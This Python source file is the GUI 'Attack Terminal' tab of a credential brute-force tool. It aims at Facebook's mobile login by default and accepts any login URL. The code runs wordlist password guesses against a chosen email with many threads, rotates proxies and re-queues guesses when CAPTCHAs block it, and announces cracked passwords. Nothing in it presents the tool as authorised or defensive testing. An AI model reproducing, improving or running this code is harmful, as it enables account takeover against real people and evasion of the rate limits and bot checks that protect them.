559 lines
26 KiB
Python
559 lines
26 KiB
Python
"""
|
||
Attack Terminal Tab — multi-proxy credential attack against any login URL.
|
||
Includes live stats, speed controls, custom target URL, and CAPTCHA status.
|
||
"""
|
||
import logging
|
||
import threading
|
||
from datetime import datetime
|
||
from typing import Callable, Optional
|
||
|
||
import customtkinter as ctk
|
||
|
||
from src.gui.theme import CyberpunkTheme
|
||
from src.attack.orchestrator import AttackOrchestrator, AttackState, AttackStats
|
||
from src.attack.login_client import SiteConfig
|
||
from src.proxy.pool import ProxyPool
|
||
from src.utils.file_io import load_passwords, count_lines
|
||
from config import (PASSWORDS_FILE, MAX_CONCURRENT_WORKERS, DEFAULT_DELAY_MIN,
|
||
DEFAULT_DELAY_MAX, PROXY_ROTATION_EVERY, REQUEST_TIMEOUT)
|
||
|
||
logger = logging.getLogger(__name__)
|
||
|
||
_FB_LOGIN_URL = "https://m.facebook.com/login.php"
|
||
|
||
|
||
class AttackTab(ctk.CTkFrame):
|
||
|
||
def __init__(self, parent, proxy_pool: ProxyPool,
|
||
status_callback: Optional[Callable] = None,
|
||
attempt_logger=None, app=None):
|
||
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
|
||
self.proxy_pool = proxy_pool
|
||
self.status_callback = status_callback
|
||
self.app = app
|
||
self.orchestrator = AttackOrchestrator(
|
||
proxy_pool, logger_instance=attempt_logger)
|
||
self._build_ui()
|
||
|
||
self.orchestrator.on_stats_update = lambda s: self.after(0, lambda: self._on_stats_update(s))
|
||
self.orchestrator.on_log_entry = lambda e: self.after(0, lambda: self._on_log_entry(e))
|
||
self.orchestrator.on_success = lambda p, px, r: self.after(0, lambda: self._on_success(p, px, r))
|
||
self.orchestrator.on_state_change = lambda st: self.after(0, lambda: self._on_state_change(st))
|
||
self.orchestrator.on_captcha = lambda px: self.after(0, lambda: self._on_captcha_hit(px))
|
||
|
||
# ── Build ──────────────────────────────────────────────────────────────────
|
||
|
||
def _build_ui(self):
|
||
CyberpunkTheme.create_tab_header(
|
||
self, "03", "[ ATTACK TERMINAL ]",
|
||
"Multi-threaded login attempts with proxy rotation against any target URL",
|
||
)
|
||
CyberpunkTheme.create_hint_bar(
|
||
self,
|
||
"Set target URL + email → confirm readiness below → START when wordlist and proxies are loaded",
|
||
)
|
||
|
||
self._build_readiness_bar()
|
||
self._build_target_bar()
|
||
self._build_speed_panel()
|
||
self._build_stats_panel()
|
||
self._build_progress_bar()
|
||
self._build_control_buttons()
|
||
self._build_live_log()
|
||
self._update_periodic()
|
||
self._update_readiness()
|
||
|
||
def _build_readiness_bar(self):
|
||
"""At-a-glance checklist so the user knows what's missing before START."""
|
||
bar = ctk.CTkFrame(
|
||
self, fg_color=CyberpunkTheme.BG_DARK,
|
||
border_width=1, border_color=CyberpunkTheme.BORDER,
|
||
)
|
||
bar.pack(fill="x", padx=15, pady=(0, 8))
|
||
inner = ctk.CTkFrame(bar, fg_color="transparent")
|
||
inner.pack(fill="x", padx=12, pady=8)
|
||
|
||
ctk.CTkLabel(
|
||
inner, text="READINESS",
|
||
font=("Consolas", 10, "bold"),
|
||
text_color=CyberpunkTheme.TERTIARY,
|
||
width=80, anchor="w",
|
||
).pack(side="left")
|
||
|
||
def _chip(parent):
|
||
lbl = ctk.CTkLabel(
|
||
parent, text="—",
|
||
font=("Consolas", 10, "bold"),
|
||
text_color=CyberpunkTheme.TEXT_DIM,
|
||
)
|
||
lbl.pack(side="left", padx=(0, 16))
|
||
return lbl
|
||
|
||
self.ready_target = _chip(inner)
|
||
self.ready_wordlist = _chip(inner)
|
||
self.ready_proxies = _chip(inner)
|
||
self.ready_overall = _chip(inner)
|
||
|
||
def _update_readiness(self):
|
||
target_ok = bool(self.email_entry.get().strip()) if hasattr(self, "email_entry") else False
|
||
wl = count_lines(PASSWORDS_FILE)
|
||
px = self.proxy_pool.available_count
|
||
|
||
def _set(lbl, ok: bool, ok_text: str, bad_text: str):
|
||
lbl.configure(
|
||
text=ok_text if ok else bad_text,
|
||
text_color=CyberpunkTheme.SUCCESS if ok else CyberpunkTheme.WARNING,
|
||
)
|
||
|
||
_set(self.ready_target, target_ok,
|
||
"✓ TARGET SET", "✗ NEED EMAIL")
|
||
_set(self.ready_wordlist, wl > 0,
|
||
f"✓ WORDLIST ({wl:,})", "✗ NO WORDLIST")
|
||
_set(self.ready_proxies, px > 0,
|
||
f"✓ PROXIES ({px})", "○ NO PROXIES (optional)")
|
||
|
||
all_core = target_ok and wl > 0
|
||
self.ready_overall.configure(
|
||
text="✓ READY TO START" if all_core else "✗ NOT READY",
|
||
text_color=CyberpunkTheme.SUCCESS if all_core else CyberpunkTheme.ERROR,
|
||
)
|
||
|
||
# ── Target bar (URL + username + counters) ────────────────────────────────
|
||
|
||
def _build_target_bar(self):
|
||
bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||
bar.pack(fill="x", padx=15, pady=(0, 8))
|
||
|
||
# Row 1 — target URL
|
||
row1 = ctk.CTkFrame(bar, fg_color="transparent")
|
||
row1.pack(fill="x", padx=12, pady=(10, 4))
|
||
|
||
ctk.CTkLabel(row1, text="Target URL:",
|
||
font=("Consolas", 11),
|
||
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||
width=100, anchor="w").pack(side="left")
|
||
|
||
self.url_entry = ctk.CTkEntry(
|
||
row1, placeholder_text=_FB_LOGIN_URL,
|
||
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
|
||
width=480)
|
||
self.url_entry.insert(0, _FB_LOGIN_URL)
|
||
self.url_entry.pack(side="left", padx=(0, 12))
|
||
CyberpunkTheme.apply_focus_glow(self.url_entry)
|
||
|
||
ctk.CTkLabel(row1, text="Form fields user:",
|
||
font=("Consolas", 10),
|
||
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4))
|
||
self.field_user_entry = ctk.CTkEntry(
|
||
row1, width=80, placeholder_text="email",
|
||
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10))
|
||
self.field_user_entry.insert(0, "email")
|
||
self.field_user_entry.pack(side="left", padx=(0, 8))
|
||
|
||
ctk.CTkLabel(row1, text="pass:",
|
||
font=("Consolas", 10),
|
||
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4))
|
||
self.field_pass_entry = ctk.CTkEntry(
|
||
row1, width=80, placeholder_text="pass",
|
||
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10))
|
||
self.field_pass_entry.insert(0, "pass")
|
||
self.field_pass_entry.pack(side="left")
|
||
|
||
# Row 2 — username/email + counters
|
||
row2 = ctk.CTkFrame(bar, fg_color="transparent")
|
||
row2.pack(fill="x", padx=12, pady=(0, 10))
|
||
|
||
ctk.CTkLabel(row2, text="Username / Email:",
|
||
font=("Consolas", 11),
|
||
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||
width=140, anchor="w").pack(side="left")
|
||
|
||
self.email_entry = ctk.CTkEntry(
|
||
row2, placeholder_text="target@example.com",
|
||
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), width=310)
|
||
self.email_entry.pack(side="left", padx=(0, 20))
|
||
CyberpunkTheme.apply_focus_glow(self.email_entry)
|
||
self.email_entry.bind("<KeyRelease>", lambda _e: self._update_readiness())
|
||
|
||
self.pwd_count_label = ctk.CTkLabel(
|
||
row2, text="Wordlist: 0",
|
||
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
|
||
self.pwd_count_label.pack(side="left", padx=(0, 18))
|
||
|
||
self.proxy_count_label = ctk.CTkLabel(
|
||
row2, text="Proxies: 0",
|
||
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
|
||
self.proxy_count_label.pack(side="left", padx=(0, 18))
|
||
|
||
self.captcha_label = ctk.CTkLabel(
|
||
row2, text="CAPTCHAs: 0",
|
||
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
|
||
self.captcha_label.pack(side="left")
|
||
|
||
# ── Speed panel ───────────────────────────────────────────────────────────
|
||
|
||
def _build_speed_panel(self):
|
||
panel = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||
panel.pack(fill="x", padx=15, pady=(0, 8))
|
||
|
||
hdr = ctk.CTkFrame(panel, fg_color="transparent")
|
||
hdr.pack(fill="x", padx=12, pady=(8, 4))
|
||
ctk.CTkLabel(hdr, text="⚡ SPEED & CONCURRENCY",
|
||
font=("Consolas", 11, "bold"),
|
||
text_color=CyberpunkTheme.TERTIARY).pack(side="left")
|
||
|
||
inner = ctk.CTkFrame(panel, fg_color="transparent")
|
||
inner.pack(fill="x", padx=12, pady=(0, 10))
|
||
|
||
def _slider_group(parent, label, var, from_, to, steps, default, unit=""):
|
||
ctk.CTkLabel(parent, text=label, font=("Consolas", 11),
|
||
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||
width=160, anchor="w").pack(side="left")
|
||
sl = ctk.CTkSlider(parent, from_=from_, to=to, number_of_steps=steps,
|
||
variable=var, width=170,
|
||
fg_color=CyberpunkTheme.BG_MEDIUM,
|
||
progress_color=CyberpunkTheme.PRIMARY,
|
||
button_color=CyberpunkTheme.PRIMARY,
|
||
button_hover_color=CyberpunkTheme.SECONDARY)
|
||
sl.pack(side="left", padx=(0, 6))
|
||
val_lbl = ctk.CTkLabel(parent, font=("Consolas", 12, "bold"),
|
||
text_color=CyberpunkTheme.PRIMARY, width=48)
|
||
val_lbl.configure(text=f"{int(default)}{unit}")
|
||
val_lbl.pack(side="left", padx=(0, 24))
|
||
sl.configure(command=lambda v, l=val_lbl, u=unit:
|
||
l.configure(text=f"{int(float(v))}{u}"))
|
||
return sl
|
||
|
||
row1 = ctk.CTkFrame(inner, fg_color="transparent")
|
||
row1.pack(fill="x", pady=(0, 6))
|
||
|
||
self.workers_var = ctk.IntVar(value=MAX_CONCURRENT_WORKERS)
|
||
_slider_group(row1, "Workers (threads):", self.workers_var,
|
||
1, 30, 29, MAX_CONCURRENT_WORKERS, "×")
|
||
|
||
self.rotation_var = ctk.IntVar(value=PROXY_ROTATION_EVERY)
|
||
_slider_group(row1, "Proxy rotation (req):", self.rotation_var,
|
||
1, 20, 19, PROXY_ROTATION_EVERY, "req")
|
||
|
||
row2 = ctk.CTkFrame(inner, fg_color="transparent")
|
||
row2.pack(fill="x")
|
||
|
||
self.delay_min_var = ctk.DoubleVar(value=DEFAULT_DELAY_MIN)
|
||
_slider_group(row2, "Delay min (s):", self.delay_min_var,
|
||
0.0, 10.0, 100, DEFAULT_DELAY_MIN, "s")
|
||
|
||
self.delay_max_var = ctk.DoubleVar(value=DEFAULT_DELAY_MAX)
|
||
_slider_group(row2, "Delay max (s):", self.delay_max_var,
|
||
0.0, 10.0, 100, DEFAULT_DELAY_MAX, "s")
|
||
|
||
ctk.CTkLabel(row2, text="Timeout (s):", font=("Consolas", 11),
|
||
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||
width=90, anchor="w").pack(side="left")
|
||
self.timeout_entry = ctk.CTkEntry(
|
||
row2, width=64,
|
||
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12))
|
||
self.timeout_entry.insert(0, str(REQUEST_TIMEOUT))
|
||
self.timeout_entry.pack(side="left")
|
||
CyberpunkTheme.apply_focus_glow(self.timeout_entry)
|
||
|
||
# ── Stats panel ───────────────────────────────────────────────────────────
|
||
|
||
def _build_stats_panel(self):
|
||
stats = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||
stats.pack(fill="x", padx=15, pady=(0, 8))
|
||
inner = ctk.CTkFrame(stats, fg_color="transparent")
|
||
inner.pack(fill="x", padx=12, pady=8)
|
||
|
||
def _stat(text, color):
|
||
l = ctk.CTkLabel(inner, text=text, font=("Consolas", 13, "bold"),
|
||
text_color=color)
|
||
l.pack(side="left", padx=(0, 22))
|
||
return l
|
||
|
||
self.attempts_label = _stat("Attempts: 0", CyberpunkTheme.TEXT_PRIMARY)
|
||
self.success_label = _stat("Found: 0", CyberpunkTheme.SUCCESS)
|
||
self.fail_label = _stat("Failed: 0", CyberpunkTheme.ERROR)
|
||
self.speed_label = _stat("Speed: 0 r/s", CyberpunkTheme.PRIMARY)
|
||
self.workers_label = _stat("Workers: 0", CyberpunkTheme.TERTIARY)
|
||
self.elapsed_label = _stat("00:00:00", CyberpunkTheme.TEXT_DIM)
|
||
|
||
row2 = ctk.CTkFrame(stats, fg_color="transparent")
|
||
row2.pack(fill="x", padx=12, pady=(0, 6))
|
||
ctk.CTkLabel(row2, text="Trying:", font=("Consolas", 10),
|
||
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(side="left", padx=(0, 5))
|
||
self.current_pwd_label = ctk.CTkLabel(
|
||
row2, text="—", font=("Consolas", 10),
|
||
text_color=CyberpunkTheme.PRIMARY)
|
||
self.current_pwd_label.pack(side="left", padx=(0, 14))
|
||
ctk.CTkLabel(row2, text="via", font=("Consolas", 10),
|
||
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 5))
|
||
self.current_proxy_label = ctk.CTkLabel(
|
||
row2, text="—", font=("Consolas", 10),
|
||
text_color=CyberpunkTheme.TEXT_DIM)
|
||
self.current_proxy_label.pack(side="left")
|
||
|
||
def _build_progress_bar(self):
|
||
pf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||
pf.pack(fill="x", padx=15, pady=(0, 8))
|
||
inner = ctk.CTkFrame(pf, fg_color="transparent")
|
||
inner.pack(fill="x", padx=12, pady=8)
|
||
self.progress_bar = ctk.CTkProgressBar(
|
||
inner, fg_color=CyberpunkTheme.BG_DARK,
|
||
progress_color=CyberpunkTheme.PRIMARY,
|
||
height=18, corner_radius=4)
|
||
self.progress_bar.pack(fill="x", expand=True)
|
||
self.progress_bar.set(0)
|
||
self.progress_text = ctk.CTkLabel(
|
||
inner, text="0.0% (0 / 0)",
|
||
font=("Consolas", 10, "bold"),
|
||
text_color=CyberpunkTheme.PRIMARY)
|
||
self.progress_text.pack(pady=(3, 0))
|
||
|
||
def _build_control_buttons(self):
|
||
bf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||
bf.pack(fill="x", padx=15, pady=(0, 8))
|
||
inner = ctk.CTkFrame(bf, fg_color="transparent")
|
||
inner.pack(padx=12, pady=10)
|
||
|
||
self.start_btn = CyberpunkTheme.create_neon_button(
|
||
inner, text="▶ START", command=self._on_start,
|
||
color=CyberpunkTheme.SUCCESS,
|
||
width=160, height=40, font=("Consolas", 14, "bold"))
|
||
self.start_btn.pack(side="left", padx=(0, 12))
|
||
|
||
self.pause_btn = CyberpunkTheme.create_neon_button(
|
||
inner, text="⏸ PAUSE", command=self._on_pause,
|
||
color=CyberpunkTheme.WARNING,
|
||
width=120, height=40, font=("Consolas", 14, "bold"))
|
||
self.pause_btn.pack(side="left", padx=(0, 12))
|
||
self.pause_btn.configure(state="disabled")
|
||
|
||
self.stop_btn = CyberpunkTheme.create_neon_button(
|
||
inner, text="⏹ STOP", command=self._on_stop,
|
||
color=CyberpunkTheme.ERROR,
|
||
width=120, height=40, font=("Consolas", 14, "bold"))
|
||
self.stop_btn.pack(side="left")
|
||
self.stop_btn.configure(state="disabled")
|
||
|
||
self.state_label = ctk.CTkLabel(
|
||
inner, text="◈ IDLE",
|
||
font=("Consolas", 15, "bold"),
|
||
text_color=CyberpunkTheme.TEXT_DIM, width=160)
|
||
self.state_label.pack(side="right", padx=(22, 0))
|
||
|
||
def _build_live_log(self):
|
||
ctk.CTkLabel(self, text="> LIVE LOG",
|
||
font=("Consolas", 12, "bold"),
|
||
text_color=CyberpunkTheme.PRIMARY).pack(anchor="w", padx=15, pady=(0, 4))
|
||
self.log_text = ctk.CTkTextbox(
|
||
self, fg_color=CyberpunkTheme.BG_DARK,
|
||
border_color=CyberpunkTheme.BORDER,
|
||
text_color=CyberpunkTheme.TEXT_PRIMARY,
|
||
font=("Consolas", 11), border_width=1)
|
||
self.log_text.pack(fill="both", expand=True, padx=15, pady=(0, 12))
|
||
self.log_text.insert("end",
|
||
"[SYSTEM] Ready.\n"
|
||
"[SYSTEM] 1. Set Target URL (default: Facebook mobile login)\n"
|
||
"[SYSTEM] 2. Enter username/email\n"
|
||
"[SYSTEM] 3. Generate wordlist in Password Builder\n"
|
||
"[SYSTEM] 4. Fetch & test proxies in Proxy Manager then COMMIT\n"
|
||
"[SYSTEM] 5. Press START\n")
|
||
self.log_text.configure(state="disabled")
|
||
|
||
# ── Speed → orchestrator ─────────────────────────────────────────────────
|
||
|
||
def _apply_speed_settings(self):
|
||
self.orchestrator.max_workers = max(1, int(self.workers_var.get()))
|
||
self.orchestrator.proxy_rotation_every = max(1, int(self.rotation_var.get()))
|
||
self.orchestrator.delay_min = float(self.delay_min_var.get())
|
||
self.orchestrator.delay_max = max(
|
||
float(self.delay_min_var.get()), float(self.delay_max_var.get()))
|
||
try:
|
||
self.orchestrator.request_timeout = int(self.timeout_entry.get() or "20")
|
||
except ValueError:
|
||
self.orchestrator.request_timeout = 20
|
||
self.orchestrator.login_client.request_timeout = self.orchestrator.request_timeout
|
||
|
||
def _build_site_config(self) -> SiteConfig:
|
||
url = self.url_entry.get().strip() or _FB_LOGIN_URL
|
||
user_field = self.field_user_entry.get().strip() or "email"
|
||
pass_field = self.field_pass_entry.get().strip() or "pass"
|
||
|
||
if "facebook.com" in url or "fb.com" in url:
|
||
from urllib.parse import urlparse
|
||
cfg = SiteConfig()
|
||
cfg.login_url = url
|
||
cfg.username_field = user_field
|
||
cfg.password_field = pass_field
|
||
return cfg
|
||
|
||
# Generic site
|
||
cfg = SiteConfig.for_url(url)
|
||
cfg.username_field = user_field
|
||
cfg.password_field = pass_field
|
||
return cfg
|
||
|
||
# ── Button handlers ───────────────────────────────────────────────────────
|
||
|
||
def _on_start(self):
|
||
username = self.email_entry.get().strip()
|
||
if not username:
|
||
self._log("ERROR: Enter a target username/email first")
|
||
return
|
||
|
||
passwords = load_passwords()
|
||
if not passwords:
|
||
self._log("ERROR: Wordlist is empty — generate passwords in the Password Builder tab")
|
||
return
|
||
|
||
if self.proxy_pool.available_count == 0:
|
||
self._log("WARNING: No proxies committed — attack will run without proxies")
|
||
|
||
self._apply_speed_settings()
|
||
site_cfg = self._build_site_config()
|
||
self.orchestrator.configure(username, passwords, site_cfg)
|
||
self.orchestrator.start()
|
||
|
||
if self.app:
|
||
self.app.set_attack_state("RUNNING")
|
||
|
||
self.start_btn.configure(state="disabled")
|
||
self.pause_btn.configure(state="normal")
|
||
self.stop_btn.configure(state="normal")
|
||
|
||
w = self.orchestrator.max_workers
|
||
url = site_cfg.login_url
|
||
self._log(f"▶ Attack started — {len(passwords):,} passwords, {w} workers")
|
||
self._log(f" Target: {url}")
|
||
self._notify(f"Attack running · {len(passwords):,} passwords · {w} workers")
|
||
|
||
def _on_pause(self):
|
||
if self.orchestrator.is_running:
|
||
self.orchestrator.pause()
|
||
self.pause_btn.configure(text="▶ RESUME")
|
||
self._log("⏸ Attack paused")
|
||
self._notify("Attack PAUSED")
|
||
elif self.orchestrator.is_paused:
|
||
self.orchestrator.resume()
|
||
self.pause_btn.configure(text="⏸ PAUSE")
|
||
self._log("▶ Attack resumed")
|
||
self._notify("Attack RUNNING")
|
||
|
||
def _on_stop(self):
|
||
self.orchestrator.stop()
|
||
if self.app:
|
||
self.app.set_attack_state("STOPPED")
|
||
self.start_btn.configure(state="normal")
|
||
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
|
||
self.stop_btn.configure(state="disabled")
|
||
self._log("⏹ Attack stopped")
|
||
self._notify("Attack STOPPED")
|
||
|
||
# ── Orchestrator callbacks ────────────────────────────────────────────────
|
||
|
||
def _on_stats_update(self, stats: AttackStats):
|
||
self.attempts_label.configure(text=f"Attempts: {stats.total_attempts:,}")
|
||
self.success_label.configure(text=f"Found: {stats.successful_attempts}")
|
||
self.fail_label.configure(text=f"Failed: {stats.failed_attempts:,}")
|
||
self.speed_label.configure(text=f"Speed: {stats.attempts_per_second:.1f} r/s")
|
||
self.workers_label.configure(text=f"Workers: {stats.active_workers}")
|
||
|
||
e = int(stats.elapsed_seconds)
|
||
self.elapsed_label.configure(text=f"{e//3600:02d}:{(e%3600)//60:02d}:{e%60:02d}")
|
||
|
||
self.current_pwd_label.configure(text=stats.current_password or "—")
|
||
self.current_proxy_label.configure(text=stats.current_proxy or "—")
|
||
|
||
progress = self.orchestrator.progress / 100
|
||
self.progress_bar.set(progress)
|
||
total_pw = len(self.orchestrator.passwords)
|
||
self.progress_text.configure(
|
||
text=f"{self.orchestrator.progress:.1f}% ({stats.passwords_tried:,} / {total_pw:,})")
|
||
|
||
self.pwd_count_label.configure(
|
||
text=f"Wordlist: {stats.passwords_tried:,}/{total_pw:,}")
|
||
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
|
||
self.captcha_label.configure(
|
||
text=f"CAPTCHAs: {stats.captchas_hit}",
|
||
text_color=(CyberpunkTheme.WARNING if stats.captchas_hit > 0
|
||
else CyberpunkTheme.TEXT_DIM))
|
||
|
||
if stats.current_password:
|
||
self._notify(
|
||
f"Trying: {stats.current_password[:24]} · "
|
||
f"{stats.attempts_per_second:.1f} r/s · "
|
||
f"{stats.active_workers} workers")
|
||
|
||
def _on_log_entry(self, entry: dict):
|
||
ts = datetime.now().strftime("%H:%M:%S")
|
||
icon = "[+]" if entry["result"] == "SUCCESS" else "[-]"
|
||
self._log(f"[{ts}] {icon} {entry['proxy'][:28]} >> {entry['password'][:28]} >> {entry['message']}")
|
||
|
||
def _on_success(self, password: str, proxy: str, result):
|
||
banner = (
|
||
"\n" + "═" * 56 + "\n"
|
||
" *** ACCESS GRANTED — CREDENTIALS FOUND ***\n"
|
||
f" PASSWORD : {password}\n"
|
||
f" PROXY : {proxy}\n"
|
||
"═" * 56 + "\n"
|
||
)
|
||
self._log(banner)
|
||
self.log_text.configure(border_color=CyberpunkTheme.SUCCESS)
|
||
self.after(3000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER))
|
||
self._notify(f"*** PASSWORD FOUND: {password} ***")
|
||
|
||
def _on_captcha_hit(self, proxy: str):
|
||
self._log(f"[!] CAPTCHA detected via {proxy[:28]} — proxy rotated, password re-queued")
|
||
self.log_text.configure(border_color=CyberpunkTheme.WARNING)
|
||
self.after(2000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER))
|
||
|
||
def _on_state_change(self, state: AttackState):
|
||
colors = {
|
||
AttackState.IDLE: CyberpunkTheme.TEXT_DIM,
|
||
AttackState.RUNNING: CyberpunkTheme.SUCCESS,
|
||
AttackState.PAUSED: CyberpunkTheme.WARNING,
|
||
AttackState.STOPPED: CyberpunkTheme.ERROR,
|
||
AttackState.COMPLETED: CyberpunkTheme.PRIMARY,
|
||
}
|
||
self.state_label.configure(
|
||
text=f"◈ {state.value.upper()}",
|
||
text_color=colors.get(state, CyberpunkTheme.TEXT_DIM))
|
||
if self.app:
|
||
self.app.set_attack_state(state.value.upper())
|
||
if state in (AttackState.COMPLETED, AttackState.STOPPED):
|
||
self.start_btn.configure(state="normal")
|
||
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
|
||
self.stop_btn.configure(state="disabled")
|
||
|
||
# ── Helpers ───────────────────────────────────────────────────────────────
|
||
|
||
def _log(self, message: str):
|
||
self.log_text.configure(state="normal")
|
||
self.log_text.insert("end", message + "\n")
|
||
self.log_text.see("end")
|
||
self.log_text.configure(state="disabled")
|
||
|
||
def _notify(self, msg: str):
|
||
if self.status_callback:
|
||
self.status_callback(msg)
|
||
|
||
def _update_periodic(self):
|
||
try:
|
||
pwd_count = count_lines(PASSWORDS_FILE)
|
||
self.pwd_count_label.configure(text=f"Wordlist: {pwd_count:,}")
|
||
except Exception:
|
||
pass
|
||
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
|
||
self._update_readiness()
|
||
self.after(2000, self._update_periodic)
|